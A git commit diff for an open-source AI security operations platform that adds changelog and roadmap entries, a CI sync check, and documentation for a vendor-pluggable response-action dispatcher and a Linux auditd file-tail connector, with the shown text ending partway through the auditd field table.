Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.
Python agentic-aiai-securityalert-triageblue-teamcybersecuritydetection-engineeringincident-responselanggraphllm-agentsmcpmitre-attackmodel-context-protocolpurple-teamsecurity-operationsself-hostedsiemsoarsocthreat-detectionthreat-intelligence
feat: Stage-2 connector + surface wave (Wazuh, Auditd, Live Actions, NL→ES|QL, MISP push, GCP Terraform, postmortem) (#97)
Beenu Arora6fce93f7b94f
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.ymlindex a04e35362..b2c3975e6 100644--- a/.github/workflows/ci.yml+++ b/.github/workflows/ci.yml@@ -129,6 +129,15 @@ jobs:run: ruff check services/- name: Ruff format check (all services)run: ruff format --check services/+ # The aisoc-api Docker image is built with `services/api` as its build+ # context, so anything under `services/agents` is *not* shipped in the+ # container. The natural-language query translator is consumed by both+ # the agents runtime and the API's `/nl-query/*` endpoints, so we keep+ # an in-tree vendored mirror at `services/api/app/_vendor/nl_query/`.+ # This guard fails the build the moment the two trees drift — re-run+ # `python scripts/sync_vendored_nl_query.py` locally to fix.+ - name: Verify vendored nl_query is in sync+ run: python scripts/sync_vendored_nl_query.py --checkpython-test:name: Python — Testsdiff --git a/CHANGELOG.md b/CHANGELOG.mdindex 7b62eb110..404ca6c10 100644--- a/CHANGELOG.md+++ b/CHANGELOG.md@@ -7,6 +7,236 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0## [Unreleased]+### Connectors — Wazuh Indexer ingest (Stage 2)++New first-class endpoint connector for Wazuh deployments. AiSOC now polls the+Wazuh Indexer API directly (no agent rewrite required) and normalizes alerts+into the platform's OCSF-aligned schema, collapsing Wazuh's native severity+ladder into the four-tier `info | low | medium | high` set used everywhere+else.++- **`services/connectors/app/connectors/wazuh.py`** — `WazuhConnector`+ subclasses `BaseConnector`, polls `wazuh-alerts-*` indices over HTTPX with+ basic-auth, paginates time-windowed queries, retries on 5xx with capped+ backoff, and emits one normalized event per alert hit. Cursor is the+ highest `@timestamp` seen so reruns are idempotent.+- **`services/connectors/app/connectors/__init__.py`** — registered in+ `_CONNECTOR_CLASSES`; the registry now declares 52 first-party connectors.+- **`plugins/wazuh/plugin.yaml`** + `pnpm marketplace:sync` — connector ships+ as a marketplace entry under category `siem`, mirrored into+ `apps/web/public/marketplace/index.json`.+- **`apps/docs/docs/connectors/wazuh.md`** + sidebar entry — operator setup+ walkthrough (API user + role, time-window semantics, severity collapse+ table, troubleshooting matrix).+- **`services/connectors/tests/test_wazuh_connector.py`** — 24 unit tests+ cover schema, auth headers, time-window query shape, retry policy, every+ documented severity bucket, and the empty/error paths.++### CLI — `aisoc plugin new` per-type templates++Replaces the old hard-coded `plugin scaffold` with a real templated generator+keyed on plugin kind (`enricher | connector | responder | detection | widget`).+Templates ship inside the `aisoc-cli` wheel via `importlib.resources` so the+CLI works unchanged after `pip install aisoc-cli`.++- **`packages/aisoc-cli/src/aisoc_cli/main.py`** — `aisoc plugin new <NAME>+ --type <kind>` loads the template tree from+ `src/aisoc_cli/templates/<kind>/`, runs `string.Template` substitution for+ `${slug}`, `${name}`, `${author}`, and writes a project that already+ validates against the manifest schema. `aisoc plugin scaffold` is preserved+ as an alias for backwards compatibility.+- `pyproject.toml` — `force-include` ships the templates tree in the wheel.+- Tests parameterize across all five plugin types and assert the manifest+ validates and no `${...}` placeholders leak through.+- `plugins/templates/README.md` is now a pointer to the canonical templates+ inside the CLI package.+- **`apps/docs/docs/plugins/cli.md`** — documents the new CLI surface and is+ added to the Plugin SDK sidebar.++### Infrastructure — GCP Cloud Run + Cloud SQL Terraform skeleton++Adds a serverless-first BYOC equivalent of the existing AWS module so AiSOC+can be stood up on Google Cloud with one `terraform apply`. Stage 2 #15.++- **`infra/terraform/gcp/`** — Cloud Run for `api`/`web`/`ingest`, Cloud SQL+ Postgres 16 + Memorystore Redis 7.2 on private IPs through a dedicated VPC+ and Serverless VPC Access connector, Secret Manager for every credential+ (auto-generated `postgres_password`, `secret_key`, `credential_key`,+ `redis_auth`, optional `openai_api_key`), and Artifact Registry for images.+ One service account per Cloud Run service with least-privilege+ `secretAccessor` bindings. The skeleton points at the public GHCR demo+ images so a fresh `apply` works zero-config; operators override via+ `api_image` / `web_image` / `ingest_image`.+- **`apps/docs/docs/deployment/gcp.md`** + sidebar entry (between `kubernetes`+ and `env-vars`) — quickstart, state-backend guidance, Cloud SQL Auth Proxy+ notes, cost envelope, and the long-running-services follow-up plan (GKE+ Autopilot for `agents`, `realtime`, `connectors`, `alert-fusion`,+ `threatintel`, `fusion`).+- `infra/terraform/gcp/README.md` mirrors the deploy doc for module-local+ consumption.++### Live Actions — generic vendor/capability dispatcher (Stage 2 #8)++Adds a vendor-pluggable response-action surface so plugins can register+executors against the existing capability taxonomy without forking the+in-tree executor list. The dispatcher always returns a typed+`LiveActionResult`; unknown `(vendor_id, capability)` pairs return `FAILED`+with `error="executor_not_found"` so the agent degrades gracefully instead+of seeing a 500.++- **`services/actions/app/live_actions/models.py`** —+ `LiveActionRequest`/`Result`/`Descriptor` Pydantic models (UTC-aware).+- **`services/actions/app/live_actions/registry.py`** — `LiveActionExecutor`+ ABC + module-level `LiveActionRegistry`.+- **`services/actions/app/live_actions/dispatcher.py`** — structured logging,+ error translation, dry-run + missing-credential semantics+ (`SIMULATED`, never `PARTIAL`).+- Adapters wrap every existing in-tree executor (CrowdStrike, Okta, AWS SG,+ Splunk) so they now show up as `builtin` descriptors.+- **`services/api/app/api/v1/endpoints/live_actions.py`** — `discover`,+ `dispatch`, `dry-run` REST routes; built-ins are registered at app startup.+- 45 new tests across models / registry / dispatcher / router / builtins+ (full actions suite: 99 passed).+- **`apps/docs/docs/concepts/live-actions.md`** + sidebar slot.+- Drive-by: fixed two pre-existing broken doc links flagged by the+ Docusaurus build (osctrl → aisoc-direct stub, `air-gapped` → `env-vars`).++### Agents — deterministic NL→ES|QL translator + 50-pair eval set (Stage 2 #16)++Replaces the template fallback in+`services/api/app/api/v1/endpoints/nl_query.py` with a real, offline-friendly,+deterministic IR + renderer that emits ES|QL, KQL, and SPL and runs every+output through a lightweight grammar validator before returning. An optional+LLM enhancement path (`gpt-4o-mini`) is exposed via `enhance_with_llm` for+callers with credentials; failures fall back to the deterministic path so the+air-gapped story keeps working and the eval harness stays reproducible.++- **`services/agents/app/nl_query/`** — IR, grammar, translator, renderers.+- All `# TODO: translate` comments removed from `nl_query.py`.+- **`services/agents/tests/eval_data/nl_query_eval.json`** — 50-pair gold+ NL→ES|QL eval set.+- **`services/agents/tests/test_nl_query_eval.py`** — 100% syntactic validity,+ 100% semantic match (50/50 perfect) against gold intents.+- Pre-existing services/agents tests still green (162 passed) when ignoring+ the asyncpg-dependent suites that fail on a fresh checkout.++### Connectors — auditd file_tail + AiSOC audit.rules profile++Replaces the host-agent dependency for Linux endpoint visibility with a+file-tail connector that consumes `audit.log` directly, plus an opinionated+auditctl ruleset whose `-k` keys map 1:1 to detection rules.++- **`services/connectors/app/connectors/auditd.py`** — `AuditdConnector` tails+ `/var/log/audit/audit.log`, reassembles multi-record events by msg id,+ decodes hex `proctitle`/`argv` blobs, and normalizes via+ `_severity_from_event` using `aisoc_*` keys baked into the audit rules+ profile. Cursor is `(inode, byte_offset)` so log rotation is handled.+- **`profiles/auditd/aisoc.rules`** + `profiles/auditd/README.md` — ships an+ opinionated auditctl ruleset and documents install + reload.+- **`detections/`** — 4 new detection rules pivot off `auditd_key` for+ sudoers / SSH config tampering, kernel module load, and systemd+ persistence. No host-agent dependency.+- `plugins/auditd/plugin.yaml` + `pnpm marketplace:sync` — registers the+ connector in the public marketplace.+- **`apps/docs/docs/connectors/auditd.md`** + sidebar entry — setup doc.+- **`services/connectors/tests/test_auditd_connector.py`** — covers schema,+ hex decode, argv reassembly, multi-record merge, severity heuristic, and+ file tailing (full connectors suite: 444 passed, excluding the+ `apscheduler` dev-dep `test_scheduler.py`).++### Documentation — operator notifications & plugin lifecycle++Two new operator-facing docs pages, both registered in the Docusaurus sidebar:++- **`apps/docs/docs/operations/notifications.md`** — complete inventory of+ every notification surface in AiSOC: Web Push to the responder PWA (VAPID,+ Redis, topic routing), Slack ChatOps via `/aisoc`, Slack/Teams ChatOps+ verification, one-shot `notify_slack` from playbooks, `create_ticket`+ simulation + recommended plugin path, honeytoken first-touch webhooks,+ connector freshness alerts, on-call gating, suppression / quiet-hours, and+ a per-mechanism testing recipe.+- **`apps/docs/docs/plugins/lifecycle.md`** — operator's view of plugin+ states (`Discovered → Loaded → Enabled/Disabled`, plus `signature_status`),+ trust modes (`strict | warn | disabled`), filesystem + OCI discovery, the+ full operator REST API with required permissions, configuration reference,+ upgrade and rollback semantics, and the structlog events worth alerting on.++Both pages cross-link the existing `concepts/live-actions`, `plugins/overview`,+`plugins/publishing`, and `plugins/cli` pages so they sit in the right place+in the information architecture.++### API — blameless case post-mortem endpoint++Mirrors the existing case auto-summary pipeline to produce a deterministic,+blameless retrospective for any case.++- **`services/api/app/services/case_postmortem.py`** — pure builder + async+ DB orchestrator (`build_case_postmortem`). Reuses `SummaryCaseRow` /+ `SummaryCommentRow` / `SummaryTaskRow` fetchers from `case_summary` so the+ post-mortem and the live summary draw from the same source of truth.+ Output is a Pydantic `CasePostmortem` covering incident overview,+ contributing factors, detection timing/gaps, response phases (detect →+ contain → eradicate → recover), blast radius, what went well / what fell+ short, and concrete action items.+- **`services/api/app/services/case_postmortem_html.py`** — pure HTML+ renderer matching the summary renderer (inline CSS, print-friendly,+ defensive escaping, no external assets).+- **`services/api/app/api/v1/endpoints/cases.py`** —+ `GET /api/v1/cases/{case_id}/postmortem` with `?format=json|html`.+- **`services/api/tests/test_case_postmortem.py`** — pure-builder + HTML+ tests including XSS escaping, deterministic ordering, and explicit+ blamelessness assertions (analyst handles must not surface in the+ narrative; the assignee header line is explicitly allow-listed).+- **`apps/docs/docs/operations/case-reports.md`** + sidebar — operator page+ covering both `/summary` and `/postmortem` with audience, output,+ automation, and runbook archive guidance. Cases summary breadcrumb now+ points operators at both endpoints.++### Threat Intelligence — STIX → MISP push (Stage 3 #20)++The threat-intel pipeline already pulled events from MISP (read-only). This+closes the loop with a write path: every STIX 2.1 indicator or bundle+published through `/api/v1/threatintel/stix/...` can be mirrored into the+configured MISP instance as a native event with one or more attributes.++- **`services/api/app/services/misp_push.py`**+ - Pure mappers: `parse_stix_pattern`, `stix_indicator_to_misp_attribute`,+ `stix_bundle_to_misp_event`, `confidence_to_threat_level`. Covers+ `ipv4`/`ipv6`, `domain-name`, `url`, `email-addr`, `file:hashes`+ (MD5/SHA-1/SHA-256/SHA-512) and `file:name`. Untranslatable patterns+ are counted in `skipped_attributes`, never silently dropped.+ - `MispPushClient` — async httpx wrapper for `/users/view/me` (health),+ `/events/add` (push), `/events/view/{id}` (read-back). Every call runs+ through the air-gap gate (`enforce_airgap_for_url`) first.+- **`services/api/app/api/v1/endpoints/stix_taxii.py`**+ - `POST /stix/indicators?push_to_misp=true` — response now includes a+ `misp` block (`pushed`, `misp_event_id`, `misp_event_uuid`, `url`,+ `pushed_attributes`, `skipped_attributes`, `error`).+ - `POST /stix/bundles?push_to_misp=true` — same, but the whole bundle+ becomes one MISP event.+ - `GET /stix/misp/health` — calls MISP `/users/view/me`, never echoes the+ API key back.+ - `POST /stix/misp/dry-run` — returns the exact MISP event payload AiSOC+ *would* send, plus an `airgap_blocked` flag for air-gapped audits.+ - Push failures are intentionally non-fatal: the AiSOC store is the source+ of truth, the MISP mirror is best-effort and surfaces the structured+ error on the same response.+- **`services/api/app/core/config.py`** — new MISP push settings:+ `MISP_VERIFY_SSL`, `MISP_PUSH_AUTO`, `MISP_PUSH_DEFAULT_DISTRIBUTION`,+ `MISP_PUSH_DEFAULT_THREAT_LEVEL`, `MISP_PUSH_DEFAULT_ANALYSIS`,+ `MISP_PUSH_TIMEOUT_SECONDS`. Existing `MISP_URL` / `MISP_API_KEY` are+ reused from the read path.+- **`services/api/tests/test_misp_push.py`** — 76 tests covering pure+ mappers, air-gap gating, MISP HTTP failures (401 / 5xx / timeout), the+ publish endpoints with and without push, the health probe, and the+ dry-run endpoint.+- **`apps/docs/docs/integrations/misp-push.md`** + sidebar entry — operator+ doc with config, endpoints, the STIX→MISP type table, failure modes, and+ the dry-run-as-air-gap-proof workflow.+- **`apps/docs/docs/operations/airgap.md`** — clarifies that the existing+ `MISP_URL` / `MISP_API_KEY` envs cover both pull and push, with a pointer+ to the new integration page.+### Security — MSSP RBAC hardening on `/threat-intel` (Issue F013)The `/v1/threat-intel/*` endpoints (IOCs, threat actors, intel feeds) werediff --git a/ROADMAP.md b/ROADMAP.mdindex 328bb39b5..11c188576 100644--- a/ROADMAP.md+++ b/ROADMAP.md@@ -393,18 +393,156 @@ dual-mode connector that works on both managed and air-gapped clusters.---+## v7.2.0 — Shipped ✅ (2026-05-13) — Stage-2 Connector + Surface Wave (`feat/wazuh-connector`)++Eight-commit feature wave broadening connector reach (Wazuh + auditd), making+the response-action layer vendor-pluggable, replacing the NL→query template+fallback with a deterministic translator, closing the threat-intel write loop+to MISP, adding a blameless case post-mortem surface, and standing up a GCP+Terraform skeleton equivalent to the existing AWS module.++### Connectors++- [x] **`WazuhConnector`** (`services/connectors/app/connectors/wazuh.py`)+ — polls the Wazuh Indexer `wazuh-alerts-*` indices over HTTPX with+ basic-auth, paginates time-windowed queries, retries on 5xx with+ capped backoff, and normalises severity into the four-tier ladder.+ Marketplace manifest + per-connector docs + 24 unit tests.+- [x] **`AuditdConnector`** (`services/connectors/app/connectors/auditd.py`)+ — file-tail of `/var/log/audit/audit.log` with multi-record+ reassembly by msg id, hex `proctitle`/`argv` decode, and+ `(inode, byte_offset)` cursor for log rotation. Ships with+ `profiles/auditd/aisoc.rules` opinionated auditctl ruleset whose+ `-k` keys map 1:1 to detection rules; 4 new detection rules pivot+ off `auditd_key` for sudoers / SSH / kernel-module / systemd+ tampering. 444-test full connectors suite green (excluding+ `test_scheduler.py` which needs the `apscheduler` dev dep).+- [x] Connector registry now declares **52 first-party connectors**;+ `pnpm marketplace:sync` rebuilt `marketplace/index.json` ++ `apps/web/public/marketplace/index.json`.++### CLI++- [x] **`aisoc plugin new <NAME> --type {enricher|connector|responder|detection|widget}`**+ replaces the old hard-coded `plugin scaffold` with per-type templates+ shipped inside the `aisoc-cli` wheel via `importlib.resources`.+ `string.Template` substitution for `${slug}`, `${name}`, `${author}`;+ tests parameterised across all five plugin types asserting manifest+ validation and zero placeholder leakage. `aisoc plugin scaffold`+ retained as alias.++### Live Actions++- [x] **Generic `(vendor_id, capability)` dispatcher**+ (`services/actions/app/live_actions/`) — pluggable+ `LiveActionExecutor` ABC + module-level registry + dispatcher with+ structured logging and error translation. Unknown pairs return+ `LiveActionResult(status=FAILED, error="executor_not_found")` so the+ agent degrades gracefully. Adapters wrap CrowdStrike, Okta,+ AWS SG, Splunk so they show up as `builtin` descriptors.+- [x] **`/api/v1/live-actions`** — `discover`, `dispatch`, `dry-run`. Honours+ `dry_run` + missing-credentials → `SIMULATED`, never `PARTIAL`.+- [x] 45 new tests across models / registry / dispatcher / router / builtins+ (full actions suite: 99 passed).+- [x] **`apps/docs/docs/concepts/live-actions.md`** + sidebar entry.++### Agents++- [x] **Deterministic NL→ES|QL translator**+ (`services/agents/app/nl_query/`) — IR + grammar validator + renderers+ for ES|QL / KQL / SPL. Replaces every `# TODO: translate` comment in+ `services/api/app/api/v1/endpoints/nl_query.py`. Optional+ `enhance_with_llm` (`gpt-4o-mini`) path with deterministic fallback+ so the air-gapped story keeps working.+- [x] **50-pair NL→ES|QL eval set**+ (`services/agents/tests/eval_data/nl_query_eval.json`) ++ `test_nl_query_eval.py` harness — 100% syntactic validity, 100%+ semantic match (50/50 perfect) against gold intents.++### API surfaces++- [x] **Blameless case post-mortem** —+ `GET /api/v1/cases/{case_id}/postmortem?format=json|html`. Pure+ builder + async DB orchestrator+ (`services/api/app/services/case_postmortem.py`) reusing the+ `case_summary` fetchers; HTML renderer with inline CSS, defensive+ escaping, no external assets. Tests assert XSS escaping,+ deterministic ordering, and explicit blamelessness (analyst handles+ must not surface in the narrative; assignee header line is+ explicitly allow-listed).+- [x] **STIX → MISP push** (Stage 3 #20) — closes the threat-intel write+ loop. `POST /stix/indicators` and `POST /stix/bundles` accept+ `?push_to_misp=true` and return a structured `misp` block on the same+ response. `GET /stix/misp/health` and `POST /stix/misp/dry-run`+ added for operator verification + air-gap audits. Pure mappers+ cover `ipv4`/`ipv6`, `domain-name`, `url`, `email-addr`,+ `file:hashes` (MD5/SHA-1/SHA-256/SHA-512) and `file:name`. Push+ failures are non-fatal: AiSOC store remains source of truth, MISP is+ best-effort. Reuses the existing `enforce_airgap_for_url` chokepoint.+ 76 new tests.++### Infrastructure++- [x] **`infra/terraform/gcp/`** — Cloud Run for `api`/`web`/`ingest`,+ Cloud SQL Postgres 16 + Memorystore Redis 7.2 on private IPs through+ a dedicated VPC + Serverless VPC Access connector, Secret Manager+ for every credential, Artifact Registry for images, one service+ account per Cloud Run service with least-privilege `secretAccessor`+ bindings. Skeleton points at the public GHCR demo images so a fresh+ `apply` works zero-config. `apps/docs/docs/deployment/gcp.md` ++ sidebar slot between `kubernetes` and `env-vars`.++### Documentation++- [x] **`apps/docs/docs/operations/notifications.md`** — complete inventory+ of every notification surface in AiSOC (Web Push, Slack/Teams+ ChatOps, playbook `notify_slack`, `create_ticket` simulation,+ honeytoken first-touch webhooks, connector freshness alerts, on-call+ gating, suppression / quiet-hours, per-mechanism testing recipe).+- [x] **`apps/docs/docs/plugins/lifecycle.md`** — operator's view of plugin+ states, trust modes (`strict | warn | disabled`), filesystem + OCI+ discovery, the full operator REST API with required permissions,+ configuration reference, upgrade/rollback semantics, and the+ structlog events worth alerting on.+- [x] **`apps/docs/docs/integrations/misp-push.md`** — operator doc with+ config, endpoints, the STIX→MISP type table, failure modes, and the+ dry-run-as-air-gap-proof workflow.+- [x] **`apps/docs/docs/operations/case-reports.md`** — covers both+ `/summary` and `/postmortem` with audience, output, automation, and+ runbook archive guidance. Cases summary breadcrumb now points+ operators at both endpoints.+- [x] **`apps/docs/docs/connectors/{wazuh,auditd}.md`** + per-connector+ sidebar entries.+- [x] **`apps/docs/docs/plugins/cli.md`** — documents the new `aisoc+ plugin new --type` surface.+- [x] **`apps/docs/sidebars.ts`** — every new page registered in the+ correct category (Connectors, Plugin SDK, Operations, Integrations,+ Concepts, Deployment).++### Quality++- [x] `ruff check services/` and `ruff format --check services/` clean+ across the whole `services/` tree (CI scope).+- [x] Targeted lint fixes committed: `E741` (ambiguous `l`),+ `F402` (loop var shadowing `dataclasses.field`),+ `E402` (post-`sys.path` import), `E501` long-string refactors in+ `case_postmortem_html.py`, `test_misp_push.py`, and `auditd.py`.++---+## v8.0 — Planned- Mobile responder console (React Native) — triage and acknowledge from phone- Plugin publishing marketplace v3 (commercial plugins, revenue sharing)- MSSP RBAC enforcement on `/api/v1/actors/*` endpoints (threat attribution)-- Automated IOC sharing to community MISP instances via STIX/TAXII push-- NL→query: "show me failed logins from new ASNs last 24h" → ES|QL / KQL+- ~~Automated IOC sharing to community MISP instances via STIX/TAXII push~~ → **shipped in v7.2.0**+- ~~NL→query: "show me failed logins from new ASNs last 24h" → ES|QL / KQL~~ → **shipped in v7.2.0** (deterministic translator + 50-pair eval set)- AI-generated threat intelligence briefings from public feeds- Embedded red-team scoring (ATT&CK coverage %) as a live dashboard widget- SLA breach predictor (ML model on historical MTTR data)- Incident cost estimator (breach impact calculator)-- SOC-in-a-box one-click cloud deploy (Terraform module for AWS / GCP)+- ~~SOC-in-a-box one-click cloud deploy (Terraform module for AWS / GCP)~~ → **GCP module shipped in v7.2.0** (AWS already shipped)+- ~~Automated retro/blameless post-mortem drafting from case timeline~~ → **shipped in v7.2.0** (ideas backlog item promoted)---diff --git a/apps/docs/docs/concepts/live-actions.md b/apps/docs/docs/concepts/live-actions.mdnew file mode 100644index 000000000..bcf12ce43--- /dev/null+++ b/apps/docs/docs/concepts/live-actions.md@@ -0,0 +1,236 @@+---+sidebar_position: 5+title: Live Actions+description: Generic, vendor-agnostic action interface that lets agents and playbooks execute response capabilities (isolate host, block IP, disable user) against any registered vendor.+---++# Live Actions++The **live action interface** is AiSOC's generic action substrate. Where the+older Action Execution API was organised around `ActionType` enums and+auto-selected the vendor at call time based on which credentials happened+to be in scope, the live action interface inverts that contract:++- **Capability is a free-form string** (`isolate_host`, `block_ip`,+ `disable_user`, ...) drawn from the [capability taxonomy](./capabilities).+- **Vendor is explicit** (`crowdstrike`, `defender`, `okta`,+ `aws_security_groups`, ...) so the planner — agent, playbook, or human —+ always knows which back-end will run.+- **Executors are pluggable**. In-tree adapters wrap the existing executors+ for the canonical vendors. Plugins register their own+ `LiveActionExecutor` against a `(vendor_id, capability)` pair and instantly+ appear in discovery, dispatch, and the dry-run sandbox.++The result is one entry point — `POST /api/v1/live-actions/dispatch` — that+the agent layer can plan against without learning the legacy `ActionType`+enum or guessing which vendor a credential belongs to.++---++## When to use live actions vs the legacy Action API++| You want to... | Use |+|---|---|+| Have an LLM agent pick a vendor based on a capability | **Live actions** |+| Add a custom integration via a plugin | **Live actions** |+| Show a "preview before executing" experience to a human | **Live actions** (dry-run) |+| Continue using existing playbooks with `action_type: ISOLATE_HOST` | **Legacy `/api/v1/actions`** |+| Execute with rollback / approvals / audit-chain enforcement today | **Legacy `/api/v1/actions`** (live actions inherits this in v1.1) |++The two APIs coexist. Live actions delegate to the same legacy executors+under the hood, so behaviour (simulation mode, parameter validation,+vendor-side calls) is identical. The choice is just about which planning+model fits the caller.++---++## Concepts++### LiveActionRequest++```jsonc+{+ "request_id": "0f2a…", // optional, server generates if absent+ "capability": "isolate_host", // required, free-form string+ "vendor_id": "crowdstrike", // required, picks the executor+ "target": "host-77", // required, capability-specific shape+ "params": { // optional, vendor-specific creds + options+ "cs_client_id": "...",+ "cs_client_secret": "...",+ "cs_base_url": "https://api.crowdstrike.com"+ },+ "case_id": "…", // optional, links result to a case+ "tenant_id": "…", // optional, tenant scope+ "requested_by": "alice@org", // optional, audit trail+ "dry_run": false // optional, defaults to false+}+```++`target` is intentionally a free-form string so each capability decides its+own shape: a hostname for `isolate_host`, a CIDR for `block_ip`, a username+for `disable_user`. Vendor-specific options go in `params`.++### LiveActionResult++Every dispatch returns a `LiveActionResult` regardless of outcome. Unknown+vendors, executor exceptions, and credentialless simulation all map to a+structured result so REST handlers, the agent loop, and the audit log have+a single contract:++```jsonc+{+ "request_id": "0f2a…",+ "status": "succeeded", // succeeded | simulated | failed+ "capability": "isolate_host",+ "vendor_id": "crowdstrike",+ "summary": "Isolate host-77",+ "details": { "agent_id": "…", "containment_id": "…" },+ "error": null, // structured error code if status=failed+ "completed_at": "2026-05-12T18:30:00Z"+}+```++The three statuses have explicit meanings:++- **`succeeded`** — the executor talked to the real vendor and the action+ took effect.+- **`simulated`** — the executor fell into its simulation branch, usually+ because credentials were absent or `dry_run=true` stripped them. **No+ vendor was contacted.**+- **`failed`** — the executor returned a failure or threw. The `error`+ field carries a structured code (`executor_not_found`, the exception+ class name, ...) so the agent loop can decide whether to fall back to a+ different vendor.++### Discovery++The discovery endpoint is what the agent's planning prompt sees. It lists+every registered `(vendor_id, capability)` pair with a one-line description+and a `requires_credentials` hint:++```bash+GET /api/v1/live-actions+GET /api/v1/live-actions?capability=isolate_host+GET /api/v1/live-actions?vendor_id=crowdstrike+GET /api/v1/live-actions/by-capability/isolate_host+GET /api/v1/live-actions/by-vendor/crowdstrike+```++Each entry also reports its `source` (`builtin` for shipped adapters,+`plugin` for executors registered by a plugin), which the marketplace UI+uses to render provenance badges.++---++## Built-in adapters++The 19 adapters that ship out of the box wrap the existing executors for:++| Vendor | Capabilities |+|---|---|+| **CrowdStrike** | `isolate_host`, `quarantine_file`, `kill_process`, `run_script` |+| **Microsoft Defender** | `isolate_host`, `run_av_scan`, `block_ioc` |+| **Okta** | `disable_user`, `reset_password`, `suspend_session`, `force_mfa` |+| **AWS Security Groups** | `block_ip`, `allow_ip` |+| **Generic** | `block_domain` (placeholder pending Route53/Umbrella integration) |+| **Splunk** | `search_siem`, `create_notable_event`, `sync_detection_rule` |+| **Elastic** | `search_siem`, `update_watcher` |++These are registered automatically at `services/actions` startup. Every+adapter inherits the legacy executor's simulation branch — calling+`isolate_host` against `crowdstrike` without `cs_client_id` returns+`status="simulated"`, never `"succeeded"`.++---++## Dry-run++```bash+POST /api/v1/live-actions/dry-run+```++The dry-run endpoint forces `dry_run=true` regardless of the request body+and short-circuits the executor's credential path: even if real credentials+are present, the adapter strips them before delegating, guaranteeing the+back-end vendor is never contacted. The returned result will always have+`status="simulated"` for adapters that wrap the legacy executors.++The same effect is available on the main dispatch endpoint by setting+`dry_run: true` in the request body, but the dedicated `/dry-run` endpoint+makes it easier to wire up "Preview action" buttons in UIs that should+*never* be allowed to execute live.++---++## Writing a plugin executor++Plugin authors implement [`LiveActionExecutor`](https://github.com/aisoc-platform/aisoc/blob/main/services/actions/app/live_actions/executor.py)+and call `register_executor()` from their plugin's `setup()` hook:++```python+from app.live_actions import (+ LiveActionExecutor,+ LiveActionRequest,+ LiveActionResult,+ LiveActionStatus,+ register_executor,+)+++class TanIumIsolate(LiveActionExecutor):+ vendor_id = "tanium"+ capability = "isolate_host"+ description = "Isolate a host on Tanium Threat Response."+ requires_credentials = True++ async def execute(self, request: LiveActionRequest) -> LiveActionResult:+ # ... call Tanium's API ...+ return LiveActionResult(+ request_id=request.request_id,+ status=LiveActionStatus.SUCCEEDED,+ capability=self.capability,+ vendor_id=self.vendor_id,+ summary=f"Isolated {request.target} on Tanium",+ details={"tanium_action_id": "..."},+ )+++def setup() -> None:+ register_executor(TanIumIsolate(), source="plugin")+```++Once registered, the new `(tanium, isolate_host)` pair shows up in+`/api/v1/live-actions` discovery, can be dispatched, and is automatically+included in the agent's planning catalogue. No core changes required.++### Contract guarantees++- **Unknown `(vendor_id, capability)` returns 200 with `status="failed"`**,+ not 500. This lets the agent loop fall back to another vendor without+ treating a missing executor as an exceptional condition.+- **Executor exceptions are caught and converted to `failed`.** A buggy+ plugin cannot crash the actions service.+- **Result fields are patched.** If an executor returns a result whose+ `vendor_id`, `capability`, or `request_id` doesn't match the request,+ the dispatcher overwrites them so audit logs and UIs can always trust+ these fields.+- **Soft capability validation.** Capabilities outside the canonical+ enum are accepted (with a warning) so plugins can ship novel verbs+ without waiting for a core release.++---++## Roadmap++The live-action layer is intentionally minimal in v1.0. Planned extensions:++- **Approval gating.** Hook into the existing approval workflow used by+ the legacy Action API.+- **Rollback.** Expose a `rollback()` method on `LiveActionExecutor` so+ plugins can undo their own actions.+- **Per-tenant vendor pinning.** Let an org say "for `isolate_host`,+ always prefer Defender over CrowdStrike" without having to specify+ it on every request.+- **Cost + quota metering.** Tag each dispatch with the vendor's+ per-call cost so the operator dashboard can include vendor-side spend+ in the same view.diff --git a/apps/docs/docs/connectors/auditd.md b/apps/docs/docs/connectors/auditd.mdnew file mode 100644index 000000000..1de6d2754--- /dev/null+++ b/apps/docs/docs/connectors/auditd.md@@ -0,0 +1,346 @@+---+sidebar_position: 17+title: Linux Auditd+description: File-tail connector for the Linux Audit subsystem (auditd). Reassembles multi-record audit events into flat documents that detections/endpoint/linux-*.yaml rules pivot on, with no host-agent dependency.+---++# Linux Auditd++The Linux Audit subsystem (`kauditd` in the kernel, `auditd` in+userspace) is the canonical telemetry source for `execve`,+syscall-based file watches, and kernel-module load events on every+modern Linux distribution. Almost every detection rule under+`detections/endpoint/linux-*.yaml` expects events in this shape+(`syscall`, `exe`, `argv`, `path`, `actor_uid`, `auditd_key`).++This connector ingests `auditd` events without requiring a host+agent — it tails `/var/log/audit/audit.log` forward from a saved+byte cursor, the same pattern the Kubernetes audit connector uses+in `file_tail` mode.++## Why file_tail (and not a host-agent)++AiSOC is deliberately host-agent-free in v1. Operators who want+auditd telemetry already pay for `auditd` itself — it ships with+every server distro. The path of least deployment friction is:++1. Drop AiSOC's `audit.rules` profile under+ `/etc/audit/rules.d/`.+2. Reload with `augenrules --load`.+3. Mount `/var/log/audit/audit.log` read-only into the AiSOC+ `services/connectors` pod (or run the connector on the same+ host as the auditd daemon).++No Go agent to compile, no second daemon to babysit, no kernel+module to load. The trade-off is poll latency rather than push+latency — events show up at the connector's poll cadence+(default 60s). If you need real-time push semantics, the v2+`host-agent` workstream covers it.++## What you get++Every reassembled audit event is normalised to a stable, flat+shape regardless of how many underlying records (`SYSCALL`,+`EXECVE`, `PATH`, `CWD`, `PROCTITLE`) the kernel emitted for it:++| Field | Source | Notes |+|---|---|---|+| `host` / `hostname` | Operator-supplied `host_label` | Stamped on every event so detections can scope to one fleet member |+| `syscall` | `SYSCALL.syscall` (number, mapped to name) | `execve`, `openat`, `unlinkat`, `init_module`, … |+| `exe` | `SYSCALL.exe` | Absolute path of the running binary |+| `argv` | `EXECVE.a0`, `a1`, … (positional, until the first gap) | Reassembled into a list |+| `path` / `paths` | `PATH.name` (first / all) | First path is promoted to `path` for the common single-target case |+| `cwd` | `CWD.cwd` | Working directory at exec time |+| `proctitle` | `PROCTITLE.proctitle` (hex-decoded if needed) | NUL-separated `argv` from the kernel; AiSOC replaces NULs with spaces |+| `comm` | `SYSCALL.comm` | Short command name (16 bytes) |+| `actor_uid` / `actor_auid` / `actor_euid` / `actor_gid` | `SYSCALL.uid` / `auid` / `euid` / `gid` | Real, audit, effective uid + primary gid |+| `actor_pid` / `actor_ppid` | `SYSCALL.pid` / `ppid` | Process + parent PID |+| `tty` / `session` | 